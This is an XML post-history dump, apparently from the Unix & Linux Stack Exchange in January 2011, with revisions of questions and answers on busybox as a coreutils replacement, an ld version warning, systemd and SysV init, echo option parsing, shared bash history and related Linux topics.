  <row Id="14020" PostHistoryTypeId="2" PostId="6181" RevisionGUID="59305c24-92f2-42f4-b4f2-65428fc4a2ec" CreationDate="2011-01-20T13:21:52.890" UserId="2543" Text="See the questions in stack overflow: &#xD;&#xA;&#xD;&#xA;* [What to teach a beginner in Emacs?][1]&#xD;&#xA;* [Good Resources For Emacs][2]&#xD;&#xA;* [Resources for learning Emacs][3]&#xD;&#xA;* [How to quickly get started at using and learning Emacs][4]&#xD;&#xA;&#xD;&#xA;Other resources to check out when you get stuck:&#xD;&#xA;&#xD;&#xA;* FAQ: &lt;kbd&gt;C-h C-f&lt;/kbd&gt;&#xD;&#xA;* *info* pages: &lt;kbd&gt;C-h i&lt;/kbd&gt;&#xD;&#xA;* [Emacs Wiki][5]&#xD;&#xA;* &lt;kbd&gt;M-x apropos-documentation&lt;/kbd&gt; (search Emacs variable/function documentation)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/311221/what-to-teach-a-beginner-in-emacs&#xD;&#xA;  [2]: http://stackoverflow.com/questions/210791/good-resources-for-emacs&#xD;&#xA;  [3]: http://stackoverflow.com/questions/896648/resources-for-learning-emacs&#xD;&#xA;  [4]: http://stackoverflow.com/questions/269812/how-to-quickly-get-started-at-using-and-learning-emacs&#xD;&#xA;  [5]: http://emacswiki.org/" />
  <row Id="14021" PostHistoryTypeId="2" PostId="6182" RevisionGUID="016bdee4-6852-4ce8-aaef-9ebea1bba2ce" CreationDate="2011-01-20T13:40:17.607" UserId="29" Text="I've been thinking about discontinuing the use of GNU Coreutils on my Linux systems, but to be honest, unlike many other GNU components, I can't think of any alternatives *(on Linux)*. What alternatives are there to GNU coreutils? will I need more than one package?&#xD;&#xA;&#xD;&#xA;*note: I welcome `busybox` as an answer, but I hope to find others as well*" />
  <row Id="14022" PostHistoryTypeId="1" PostId="6182" RevisionGUID="016bdee4-6852-4ce8-aaef-9ebea1bba2ce" CreationDate="2011-01-20T13:40:17.607" UserId="29" Text="Any options to replace GNU coreutils on Linux?" />
  <row Id="14023" PostHistoryTypeId="3" PostId="6182" RevisionGUID="016bdee4-6852-4ce8-aaef-9ebea1bba2ce" CreationDate="2011-01-20T13:40:17.607" UserId="29" Text="écommandölineàégnuàécoreutilsàénonögnuà" />
  <row Id="14024" PostHistoryTypeId="2" PostId="6183" RevisionGUID="36b5527a-cb4e-4d1c-8076-18c8517875be" CreationDate="2011-01-20T13:52:19.747" UserId="3976" Text="I suspect you'd have a hard time getting rid of GNU Coreutils, however, there's always the equivalent BSD tools, although they aren't drop-in replacements for the GNU tools." />
  <row Id="14025" PostHistoryTypeId="25" PostId="6182" RevisionGUID="cacc3eda-01ca-4ac4-b577-c10b7da716ac" CreationDate="2011-01-20T13:55:42.977" Comment="http://twitter.com/#!/StackUnix/status/28088281488953344" />
  <row Id="14026" PostHistoryTypeId="5" PostId="6182" RevisionGUID="25f0e26f-50f9-4501-b29f-51837ffc2f00" CreationDate="2011-01-20T14:10:30.273" UserId="29" Comment="request links and package names." Text="I've been thinking about discontinuing the use of GNU Coreutils on my Linux systems, but to be honest, unlike many other GNU components, I can't think of any alternatives *(on Linux)*. What alternatives are there to GNU coreutils? will I need more than one package? Links to the project are a must, bonus points for naming distro packages (esp arch linux)&#xD;&#xA;&#xD;&#xA;*note: I welcome `busybox` as an answer, but I hope to find others as well*&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14027" PostHistoryTypeId="2" PostId="6184" RevisionGUID="ee3de40d-83c8-4dd7-b1d3-ce3bbc52f5be" CreationDate="2011-01-20T14:19:25.250" UserId="29" Text="As I mentioned [`busybox`](http://www.busybox.net/) the favorite of Embedded Linux systems, you can pretty much make any coreutil name a link to the busybox binary and it will work. you can also run `busybox &lt;command&gt;` and it will work. Example: if you're on Gentoo and haven't installed your `vi` yet, you can run `busybox vi filename` and you'll be in vi. It's&#xD;&#xA;&#xD;&#xA; * [Arch Linux](http://www.archlinux.org/) - [community/busybox](http://www.archlinux.org/packages/community/x86_64/busybox/)&#xD;&#xA;&#xD;&#xA; * [Gentoo Linux](http://www.gentoo.org/) - [sys-apps/busybox](http://packages.gentoo.org/package/sys-apps/busybox)" />
  <row Id="14028" PostHistoryTypeId="5" PostId="6182" RevisionGUID="24f475c6-5225-440a-bf35-33e452d283cf" CreationDate="2011-01-20T14:26:15.787" UserId="29" Comment="add a warning" Text="I've been thinking about discontinuing the use of GNU Coreutils on my Linux systems, but to be honest, unlike many other GNU components, I can't think of any alternatives *(on Linux)*. What alternatives are there to GNU coreutils? will I need more than one package? Links to the project are a must, bonus points for naming distro packages.&#xD;&#xA;&#xD;&#xA;***warning:** if you're distro uses coreutils removing them could break the way your distro functions. However not having them be first in your `$PATH` shouldn't break things, as most scripts should use absolute paths.*&#xD;&#xA;" />
  <row Id="14029" PostHistoryTypeId="5" PostId="6184" RevisionGUID="3ed8db0a-b4ce-4c8c-9a04-4806a712d0d5" CreationDate="2011-01-20T14:29:33.627" UserId="29" Comment="add busybox's own description of itself." Text="As I mentioned [`busybox`](http://www.busybox.net/) the favorite of Embedded Linux systems.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete environment for any small or embedded system.&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;BusyBox has been written with size-optimization and limited resources in mind. It is also extremely modular so you can easily include or exclude commands (or features) at compile time. This makes it easy to customize your embedded systems. To create a working system, just add some device nodes in /dev, a few configuration files in /etc, and a Linux kernel.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can pretty much make any coreutil name a link to the busybox binary and it will work. you can also run `busybox &lt;command&gt;` and it will work. Example: if you're on Gentoo and haven't installed your `vi` yet, you can run `busybox vi filename` and you'll be in vi. It's&#xD;&#xA;&#xD;&#xA; * [Arch Linux](http://www.archlinux.org/) - [community/busybox](http://www.archlinux.org/packages/community/x86_64/busybox/)&#xD;&#xA;&#xD;&#xA; * [Gentoo Linux](http://www.gentoo.org/) - [sys-apps/busybox](http://packages.gentoo.org/package/sys-apps/busybox)" />
  <row Id="14031" PostHistoryTypeId="2" PostId="6186" RevisionGUID="a033fc84-6dd1-43fc-ab47-374f350076a0" CreationDate="2011-01-20T15:19:23.673" UserDisplayName="ofaurax" Text="On every loading of a lib, I've an error: &quot;no version information available&quot;.&#xD;&#xA;This lib has been compiled on another PC (ubuntu 10.04) than the one running it (mandriva 2010.2).&#xD;&#xA;&#xD;&#xA;    $ ldd /usr/local/gnu-eabi-4.5.2/i686-pc-linux-gnu/arm-eabi/lib/libbfd-2.21.so&#xD;&#xA;    /usr/local/gnu-eabi-4.5.2/i686-pc-linux-gnu/arm-eabi/lib/libbfd-2.21.so: /lib/libz.so.1: no version information available (required by /usr/local/gnu-eabi-4.5.2/i686-pc-linux-gnu/arm-eabi/lib/libbfd-2.21.so)&#xD;&#xA;     linux-gate.so.1 =&gt;  (0xffffe000)&#xD;&#xA;     libz.so.1 =&gt; /lib/libz.so.1 (0xb77a7000)&#xD;&#xA;     libc.so.6 =&gt; /lib/i686/libc.so.6 (0xb7655000)&#xD;&#xA;     /lib/ld-linux.so.2 (0xb787a000)&#xD;&#xA;&#xD;&#xA;(I'm not sure if this question go to &quot;programmers&quot; or &quot;unix&quot; on stackexchange, feel free to move it)&#xD;&#xA;&#xD;&#xA;Edit: the workaround didn't work." />
  <row Id="14032" PostHistoryTypeId="1" PostId="6186" RevisionGUID="a033fc84-6dd1-43fc-ab47-374f350076a0" CreationDate="2011-01-20T15:19:23.673" UserDisplayName="ofaurax" Text="Why LD complain with &quot;no version information available&quot;" />
  <row Id="14033" PostHistoryTypeId="3" PostId="6186" RevisionGUID="a033fc84-6dd1-43fc-ab47-374f350076a0" CreationDate="2011-01-20T15:19:23.673" UserDisplayName="ofaurax" Text="élibraryà" />
  <row Id="14034" PostHistoryTypeId="17" PostId="6186" RevisionGUID="e5c214dd-1182-437e-b614-12a8a7de6b92" CreationDate="2011-01-20T15:30:50.183" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/38410/why-ld-complain-with-no-version-information-available" Text="" />
  <row Id="14035" PostHistoryTypeId="2" PostId="6187" RevisionGUID="6bf53a02-b7ce-498c-b061-1de1b526763c" CreationDate="2011-01-20T15:40:03.240" UserId="4016" Text="Update for future searchers: As of Ubuntu 10.10 (Maverick), you now have the &quot;Span&quot; option in the Appearance/Wallpaper Control Panel. For best results, be sure to create your wallpaper to be the exact pixels of your displays combined. &#xD;&#xA;&#xD;&#xA;E.g. for two **1280x1024** monitors, use a wallpaper with size **2560 x 1024** -- otherwise it will scale and center your wallpaper to fit." />
  <row Id="14036" PostHistoryTypeId="2" PostId="6188" RevisionGUID="ad2c9cf9-5590-4b9f-89a4-e345f66f389b" CreationDate="2011-01-20T15:55:39.960" UserId="3976" Text="That error, &quot;no version information available&quot;, means that the version of libz that you linked against when you compiled the library is newer than the version on the mandrivia system you're using." />
  <row Id="14037" PostHistoryTypeId="2" PostId="6189" RevisionGUID="ad244d48-f4c7-4509-bd3a-fff1b2bcdcb9" CreationDate="2011-01-20T15:56:13.297" UserId="29" Text="Saw `systemd` mentioned on [Arch General ML](http://mailman.archlinux.org/pipermail/arch-general/2011-January/017971.html) today. So read up on it. [The H Online](http://www.h-online.com) as ever is a great source for Linux Technology and is where I found my place to start researching [Systemd as SysV Init and Upstart alternative](http://www.h-online.com/open/news/item/Systemd-presented-as-SysV-Init-and-Upstart-alternative-991875.html). However the H Online article (in this case) isn't a very useful read, the real use behind it is it gives links to the useful reads.&#xD;&#xA;&#xD;&#xA;The real answer is in the [announcement of systemd](http://0pointer.de/blog/projects/systemd.html).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14040" PostHistoryTypeId="5" PostId="6186" RevisionGUID="337f678f-7cb3-4a16-88e5-392663cc8140" CreationDate="2011-01-20T16:07:36.610" UserId="73" Comment="deleted 96 characters in body; edited title" Text="On every loading of a lib, I get the error:&#xD;&#xA;&#xD;&#xA;&gt; no version information available&#xD;&#xA;&#xD;&#xA;This lib has been compiled on another PC (ubuntu 10.04) than the one running it (mandriva 2010.2).&#xD;&#xA;&#xD;&#xA;    $ ldd /usr/local/gnu-eabi-4.5.2/i686-pc-linux-gnu/arm-eabi/lib/libbfd-2.21.so&#xD;&#xA;    /usr/local/gnu-eabi-4.5.2/i686-pc-linux-gnu/arm-eabi/lib/libbfd-2.21.so: /lib/libz.so.1: no version information available (required by /usr/local/gnu-eabi-4.5.2/i686-pc-linux-gnu/arm-eabi/lib/libbfd-2.21.so)&#xD;&#xA;     linux-gate.so.1 =&gt;  (0xffffe000)&#xD;&#xA;     libz.so.1 =&gt; /lib/libz.so.1 (0xb77a7000)&#xD;&#xA;     libc.so.6 =&gt; /lib/i686/libc.so.6 (0xb7655000)&#xD;&#xA;     /lib/ld-linux.so.2 (0xb787a000)&#xD;&#xA;&#xD;&#xA;Edit: the workaround didn't work.&#xD;&#xA;" />
  <row Id="14041" PostHistoryTypeId="4" PostId="6186" RevisionGUID="337f678f-7cb3-4a16-88e5-392663cc8140" CreationDate="2011-01-20T16:07:36.610" UserId="73" Comment="deleted 96 characters in body; edited title" Text="Why does LD keep outputting &quot;no version information available&quot;" />
  <row Id="14042" PostHistoryTypeId="5" PostId="1910" RevisionGUID="4bf17ee6-6094-4f23-af55-9141b9c4a9e5" CreationDate="2011-01-20T16:12:44.127" UserId="73" Comment="Merge in relevant part of 6176 question body" Text="I'm working on a python script that passes file locations to an scp subprocess. That's all fine, but I'm in a situation where I may end up concatenating a path with a filename such that there's a double '`/` in the path. I know that bash doesn't care if you have multiple file separators, but I'm wondering how exactly that is rectified. Is it bash that strips extra `/`s or does it really not matter ever?&#xD;&#xA;&#xD;&#xA;I ask because it will save me several lines of code to check for extra `/`s while concatenating. I know it's not a big deal, but I'm curious as well. I have a bash script that has the line `cd //usr` (instead of `cd /usr`), which seems to imply there might be a significance to using multiple `/`s in a path" />
  <row Id="14044" PostHistoryTypeId="18" PostId="6177" RevisionGUID="ec7d5adf-71ca-432c-94c7-e12680a480fa" CreationDate="2011-01-20T16:13:08.040" UserId="73" Comment="from http://unix.stackexchange.com/questions/6176/whats-the-difference-between-blah-and-blah-when-defining-a-path-in-a-unix" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14045" PostHistoryTypeId="18" PostId="6178" RevisionGUID="ec7d5adf-71ca-432c-94c7-e12680a480fa" CreationDate="2011-01-20T16:13:08.040" UserId="73" Comment="from http://unix.stackexchange.com/questions/6176/whats-the-difference-between-blah-and-blah-when-defining-a-path-in-a-unix" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14046" PostHistoryTypeId="18" PostId="1910" RevisionGUID="ec7d5adf-71ca-432c-94c7-e12680a480fa" CreationDate="2011-01-20T16:13:08.040" UserId="73" Comment="from http://unix.stackexchange.com/questions/6176/whats-the-difference-between-blah-and-blah-when-defining-a-path-in-a-unix" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14048" PostHistoryTypeId="5" PostId="6168" RevisionGUID="2bb85657-3954-47c9-acc2-ea4c79a75996" CreationDate="2011-01-20T16:15:01.377" UserId="3629" Comment="added 1061 characters in body" Text="As most others have observed, &quot;-n&quot; is interpreted literally if placed anywhere but immediately after the `echo` command.&#xD;&#xA;&#xD;&#xA;Historically, UNIX utilities were all like this -- they looked for options only immediately after the command name.  It was likely either BSD or GNU who pioneered the more flexible style (though I could be wrong), as even now [POSIX specifies the old way as correct][1] (see Guideline 9, and also [`man 3 getopt`][2] on a Linux system).  Anyway, even though most Linux utilities these days use the new style, there are some holdouts like `echo`.&#xD;&#xA;&#xD;&#xA;`Echo` is a mess, standards-wise, in that there were at least [two fundamentally conflicting versions][3] in play by the time POSIX came into being.  On the one hand, you have SYSV-style, which interprets backslash-escaped characters but otherwise treats its arguments literally, accepting no options.  On the other, you have BSD-style, which treats an initial `-n` as a special case and outputs absolutely everything else literally.  And since `echo` is so convenient, you have thousands of shell scripts that depend on one behavior or the other:&#xD;&#xA;&#xD;&#xA;    echo Usage: my_awesome_script '[-a]' '[-b]' '[-c]' '[-n]'&#xD;&#xA;    echo -a does a thing.&#xD;&#xA;    echo -b does something else.&#xD;&#xA;    echo -c makes sure -a works right.&#xD;&#xA;    echo -- DON\'T USE -n -- it\'s not finished! --&#xD;&#xA;&#xD;&#xA;Because of the &quot;treat everything literally&quot; semantic, it's impossible to even add a new option to `echo` without breaking things.  If GNU used the flexible options scheme on it, hell would break loose.&#xD;&#xA;&#xD;&#xA;Incidentally, for best compatibility between Bourne shell implementations, [use `printf` rather than `echo`][4].&#xD;&#xA;&#xD;&#xA;**UPDATED** to explain why `echo` in particular does not use flexible options.&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap12.html#tag_12_02&#xD;&#xA;  [2]: http://linux.die.net/man/3/getopt&#xD;&#xA;  [3]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html#tag_20_37_18&#xD;&#xA;  [4]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html#tag_20_37_16" />
  <row Id="14049" PostHistoryTypeId="2" PostId="6190" RevisionGUID="3c3a8da3-f330-4f32-addd-7738ac0ef1bf" CreationDate="2011-01-20T16:16:04.013" UserId="3976" Text="Both upstart and systemd are attempts to solve some of the problems with the limitations of the traditional SysV init system.  For example, some services need to start after other services (for example, you can't mount NFS filesystems until the network is running), but the only way in SysV to handle that is to set the links in the rc#.d directory such that one is before the other.  Add to that, you might need to re-number everything later when dependencies are added or changed.  Upstart and Systemd have more intelligent settings for defining requirements.  Also, there's the issue with the fact that everything is a shell script of some sort, and not everyone writes the best init scripts.  That also impacts the speed of the startup.&#xD;&#xA;&#xD;&#xA;Some of the advantages of systemd I can see:&#xD;&#xA;&#xD;&#xA; - Every process started gets its own cgroup or a particular cgroup.&#xD;&#xA; - Pre-creation of sockets and file handles for services, similar to how xinetd does for it's services, allowing dependent services to start faster.  For example, systemd will hold open the filehandle for /dev/log for syslog, and subsequent services that send to /dev/log will have their messages buffered until syslogd is ready to take over.&#xD;&#xA; - Fewer processes run to actually start a service.  This means you aren't writing a shell script to start up your service.  This can be a speed improvement, and (IMO) something easier to set up in the first place.&#xD;&#xA;&#xD;&#xA;Disadvantages:&#xD;&#xA; - Written by the same guy who wrote PulseAudio.  Some people don't like that." />
  <row Id="14050" PostHistoryTypeId="2" PostId="6191" RevisionGUID="7140c0df-76a5-4384-ab18-4cb9861a5ecc" CreationDate="2011-01-20T16:19:03.607" UserId="4018" Text="I'm configuring/compiling the 2.6.37 kernel and I want select _YeAH-TCP_ like default congestion control algorithm but, although I enable this option (&lt;i&gt;CONFIG_TCP_CONG_YEAH&lt;/i&gt;), it doesn't show in the congestion control algorithm list to select like default.&#xD;&#xA;What's the sense of this? Am I doing something wrong?" />
  <row Id="14051" PostHistoryTypeId="1" PostId="6191" RevisionGUID="7140c0df-76a5-4384-ab18-4cb9861a5ecc" CreationDate="2011-01-20T16:19:03.607" UserId="4018" Text="Select YeAH-TCP like congestion control algorithm to configure kernel" />
  <row Id="14052" PostHistoryTypeId="3" PostId="6191" RevisionGUID="7140c0df-76a5-4384-ab18-4cb9861a5ecc" CreationDate="2011-01-20T16:19:03.607" UserId="4018" Text="ékernelà" />
  <row Id="14054" PostHistoryTypeId="2" PostId="6192" RevisionGUID="805d6221-f992-4774-8c96-8e8756f3f6b1" CreationDate="2011-01-20T16:35:55.430" UserId="252" Text="You can run `history -a; history -c` in all windows to save the history. And then `history -r` to refresh it.&#xD;&#xA;&#xD;&#xA;To solve it more permanently add this to your `.bashrc`:&#xD;&#xA;&#xD;&#xA;    export PROMPT_COMMAND=&quot;history -a; history -c; history -r; $PROMPT_COMMAND&quot;&#xD;&#xA;" />
  <row Id="14055" PostHistoryTypeId="2" PostId="6193" RevisionGUID="88677a8e-77e4-4a50-8839-ad2260dc3a8a" CreationDate="2011-01-20T16:44:28.873" UserId="3309" Text="A synchronous write must receive back an acknowlegement that the write has been committed (wether the commit was a success or error) before it can return itself. This is by design, and inherently makes synchronous writes much slower due to the high latency times involved with a spinning metal disk (on disk ram cache doesn't count).&#xD;&#xA;&#xD;&#xA;Asynchronous writes are usually written to RAM and the OS deals with committing it to disk later (later usually being mere seconds or less (I believe ZFS is 5x/second, or every 5 seconds)). Disk seek times are measured in ms while RAM seek times are measured in ns. That's a difference of 1000x.&#xD;&#xA;&#xD;&#xA;Use synchronous writes when it's absolutely critical that the data is permanently stored before continuing and a 1 second delay where power loss may occur is unacceptable.&#xD;&#xA;&#xD;&#xA;Use asynchronous writes at all other times." />
  <row Id="14056" PostHistoryTypeId="5" PostId="6184" RevisionGUID="19e2e5da-c1a7-4bd4-bd9a-a85b861eaa46" CreationDate="2011-01-20T16:45:32.840" UserId="29" Comment="I removed the mention" Text="[`busybox`](http://www.busybox.net/) the favorite of Embedded Linux systems.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete environment for any small or embedded system.&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;BusyBox has been written with size-optimization and limited resources in mind. It is also extremely modular so you can easily include or exclude commands (or features) at compile time. This makes it easy to customize your embedded systems. To create a working system, just add some device nodes in /dev, a few configuration files in /etc, and a Linux kernel.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can pretty much make any coreutil name a link to the busybox binary and it will work. you can also run `busybox &lt;command&gt;` and it will work. Example: if you're on Gentoo and haven't installed your `vi` yet, you can run `busybox vi filename` and you'll be in vi. It's&#xD;&#xA;&#xD;&#xA; * [Arch Linux](http://www.archlinux.org/) - [community/busybox](http://www.archlinux.org/packages/community/x86_64/busybox/)&#xD;&#xA;&#xD;&#xA; * [Gentoo Linux](http://www.gentoo.org/) - [sys-apps/busybox](http://packages.gentoo.org/package/sys-apps/busybox)" />
  <row Id="14057" PostHistoryTypeId="6" PostId="6182" RevisionGUID="c4410500-9efe-4163-9906-1c8c58e631d0" CreationDate="2011-01-20T16:46:42.060" UserId="29" Comment="oops, this is supposed to be for linux only" Text="élinuxàécommandölineàégnuàécoreutilsàénonögnuà" />
  <row Id="14058" PostHistoryTypeId="2" PostId="6194" RevisionGUID="ae93dd16-8f4d-40a6-acfa-164b67aca611" CreationDate="2011-01-20T16:52:23.170" UserId="3309" Text="Solaris (as of svn_140-something) would also be an option.&#xD;&#xA;&#xD;&#xA;If you are using a distro you are crazy. Stop now. Seek psychiatric help.&#xD;&#xA;&#xD;&#xA;If you are using [LFS](http://www.linuxfromscratch.org/), rock on! Have fun!&#xD;&#xA;&#xD;&#xA;If you are making a distro, I applaud your bravery sir." />
  <row Id="14059" PostHistoryTypeId="25" PostId="6186" RevisionGUID="489b6f44-686e-4289-92cc-7b4119578d7f" CreationDate="2011-01-20T16:55:43.450" Comment="http://twitter.com/#!/StackUnix/status/28133581859586048" />
  <row Id="14060" PostHistoryTypeId="5" PostId="6182" RevisionGUID="23d02668-f8dc-444d-ad31-62edf0377233" CreationDate="2011-01-20T16:59:53.410" UserId="29" Comment="try to eliminate options that may not be options" Text="I've been thinking about discontinuing the use of GNU Coreutils on my Linux systems, but to be honest, unlike many other GNU components, I can't think of any alternatives *(on Linux)*. What alternatives are there to GNU coreutils? will I need more than one package? Links to the project are a must, bonus points for naming distro packages.&#xD;&#xA;&#xD;&#xA;Also please don't suggest things unless you *know* they work on Linux, and can reference instructions. I doubt I'll be switching kernels soon, and I'm much too lazy for anything much beyond a straightforward `./configure; make; make install`. I'm certainly not going to hack C for it.&#xD;&#xA;&#xD;&#xA;***warning:** if you're distro uses coreutils removing them could break the way your distro functions. However not having them be first in your `$PATH` shouldn't break things, as most scripts should use absolute paths.*&#xD;&#xA;" />
  <row Id="14061" PostHistoryTypeId="2" PostId="6195" RevisionGUID="c5a970e0-6520-4584-878f-5d46d2a2f2a1" CreationDate="2011-01-20T17:03:52.670" UserId="2210" Text="It sounds vaguely like &quot;UNIX Shell Programming&quot; by Stephen Kochan and Patrick Wood.&#xD;&#xA;&#xD;&#xA;The book uses creating a phonebook or rolodex to illustrate the use of various commands in building shell scripts.&#xD;&#xA;&#xD;&#xA;The original edition came out in...uhm...1990?  Cover was a dark purple, darker than the one pictured in the amazon link below.&#xD;&#xA;&#xD;&#xA;http://www.amazon.com/Unix-Shell-Programming-Stephen-Kochan/dp/0672324903" />
  <row Id="14062" PostHistoryTypeId="2" PostId="6196" RevisionGUID="47ab2116-5831-4433-bc35-58bad341576b" CreationDate="2011-01-20T17:47:36.413" UserId="4020" Text=" Forgive me I may not have all the terminology correct but... I'm having a strange problem. I'm working in a Red Hat virtual machine, and I am working on a local version of a site in Django (using python manage.py 0.0.0.0:8080), and also have &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt; installed on the site.  I also downloaded Drupal and Wordpress, for unrelated reasons. All of these were located in my /var/www/html/ folder and the only problem I had was that to access Django I had to make it a sub-directory of Wordpress. Today, however, I am unable to access anything -except- the Django site, through redHatIP:8080. This includes Mint, which I accessed with redHatIP/mint. &#xD;&#xA;   &#xD;&#xA;I assume I must have accidentally changed a setting somewhere without realizing it which is causing the problem, but I am unable to get it working on my own, nor have I had much luck with the web.               &#xD;&#xA;&#xD;&#xA;A couple other things to mention: The problem appears to have started when I first went on today, and for some reason Drupal was now accessed through redHatIP, and I could not access wordpress. Turns out there was another drupal folder now located in /var/www/. I assume this is just how it installs, and I never noticed it the day before. I moved wordpress into that, and was able to access it than (but with several errors). So I know redHatIP was accessing this django folder for some reason now. I removed drupal and wordpress, than re-downloaded them, and -that- is when I was no longer able to access anything other than the site located at redHatIP:8080.&#xD;&#xA;  &#xD;&#xA;  I've been unable to find a solution online, nor have I been able to solve it myself. Any ideas?" />
  <row Id="14063" PostHistoryTypeId="1" PostId="6196" RevisionGUID="47ab2116-5831-4433-bc35-58bad341576b" CreationDate="2011-01-20T17:47:36.413" UserId="4020" Text="Unable to access Linux Red Hat server" />
  <row Id="14064" PostHistoryTypeId="3" PostId="6196" RevisionGUID="47ab2116-5831-4433-bc35-58bad341576b" CreationDate="2011-01-20T17:47:36.413" UserId="4020" Text="érhelà" />
  <row Id="14065" PostHistoryTypeId="5" PostId="6196" RevisionGUID="733779b6-0093-46bd-a008-11c7a574d466" CreationDate="2011-01-20T17:53:30.337" UserId="4020" Comment="added 146 characters in body; edited tags; edited tags" Text=" Forgive me I may not have all the terminology correct but... I'm having a strange problem. I'm working in a Red Hat virtual machine, and I am working on a local version of a site in Django (using python manage.py 0.0.0.0:8080), and also have &lt;a href=&quot;http://haveamint.com/&quot;&gt;Mint&lt;/a&gt; installed on the site.  I also downloaded Drupal and Wordpress, for unrelated reasons. All of these were located in my /var/www/html/ folder and the only problem I had was that to access Django I had to make it a sub-directory of Wordpress. Today, however, I am unable to access anything -except- the Django site, through redHatIP:8080. This includes Mint, which I accessed with redHatIP/mint. &#xD;&#xA;   &#xD;&#xA;I assume I must have accidentally changed a setting somewhere without realizing it which is causing the problem, but I am unable to get it working on my own, nor have I had much luck with the web.               &#xD;&#xA;&#xD;&#xA;A couple other things to mention: The problem appears to have started when I first went on today, and for some reason Drupal was now accessed through redHatIP, and I could not access wordpress. Turns out there was another drupal folder now located in /var/www/. I assume this is just how it installs, and I never noticed it the day before. I moved wordpress into that, and was able to access it than (but with several errors). So I know redHatIP was accessing this django folder for some reason now. I removed drupal and wordpress, than re-downloaded them, and -that- is when I was no longer able to access anything other than the site located at redHatIP:8080.&#xD;&#xA;  &#xD;&#xA;  I've been unable to find a solution online, nor have I been able to solve it myself. Any ideas?&#xD;&#xA;&#xD;&#xA;EDIT: Forgot to mention, when I try to access redHatIP I get the following error message:  &#xD;&#xA;The requested URL / was not found on this server." />
  <row Id="14066" PostHistoryTypeId="6" PostId="6196" RevisionGUID="733779b6-0093-46bd-a008-11c7a574d466" CreationDate="2011-01-20T17:53:30.337" UserId="4020" Comment="added 146 characters in body; edited tags; edited tags" Text="érhelà" />
  <row Id="14067" PostHistoryTypeId="2" PostId="6197" RevisionGUID="247f88a7-eaf9-47bc-82b9-66008a46c3e2" CreationDate="2011-01-20T18:04:43.083" UserId="2180" Text="Is the V in System V and SysV (and sysvinit, etc) pronounced &quot;vee&quot; or &quot;five&quot;?" />
  <row Id="14068" PostHistoryTypeId="1" PostId="6197" RevisionGUID="247f88a7-eaf9-47bc-82b9-66008a46c3e2" CreationDate="2011-01-20T18:04:43.083" UserId="2180" Text="How do you pronounce System V and SysV?" />
  <row Id="14069" PostHistoryTypeId="3" PostId="6197" RevisionGUID="247f88a7-eaf9-47bc-82b9-66008a46c3e2" CreationDate="2011-01-20T18:04:43.083" UserId="2180" Text="ésystemövà" />
  <row Id="14070" PostHistoryTypeId="2" PostId="6198" RevisionGUID="9b8dd824-34e3-49e2-a67e-9ae581a42c83" CreationDate="2011-01-20T18:09:13.420" UserId="3635" Text="Since it is a roman numeral, &quot;five&quot; is probably the more correct pronounciation...&#xD;&#xA;&#xD;&#xA;Wikipedia [agrees as well][1]:&#xD;&#xA;&#xD;&#xA;&gt;Unix System V, commonly abbreviated SysV (and usually pronounced—though rarely written—as &quot;System Five&quot;), ...&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/UNIX_System_V" />
  <row Id="14071" PostHistoryTypeId="2" PostId="6199" RevisionGUID="90bb2aea-f5e0-4166-bc76-11ef8ed1f2fd" CreationDate="2011-01-20T18:12:41.170" UserId="4023" Text="Hi &#xD;&#xA;I need install mercurial on my opensuse but I couldn't find the rpm so I just download mercurial.rpm and wanted to install it by   &#xD;&#xA;         sudo zypper ... but it said to need python 2.6 so I downloaded python 2.6.0 and did the same but It said that needs the previous versions and process failed I really don't know why it happens. my question is that, If I'm going the wrong way or I forget something? I'm a beginner so please give me details. any help would be appreciated .   &#xD;&#xA;Bests " />
  <row Id="14072" PostHistoryTypeId="1" PostId="6199" RevisionGUID="90bb2aea-f5e0-4166-bc76-11ef8ed1f2fd" CreationDate="2011-01-20T18:12:41.170" UserId="4023" Text="upgrading python" />
  <row Id="14073" PostHistoryTypeId="3" PostId="6199" RevisionGUID="90bb2aea-f5e0-4166-bc76-11ef8ed1f2fd" CreationDate="2011-01-20T18:12:41.170" UserId="4023" Text="épythonà" />
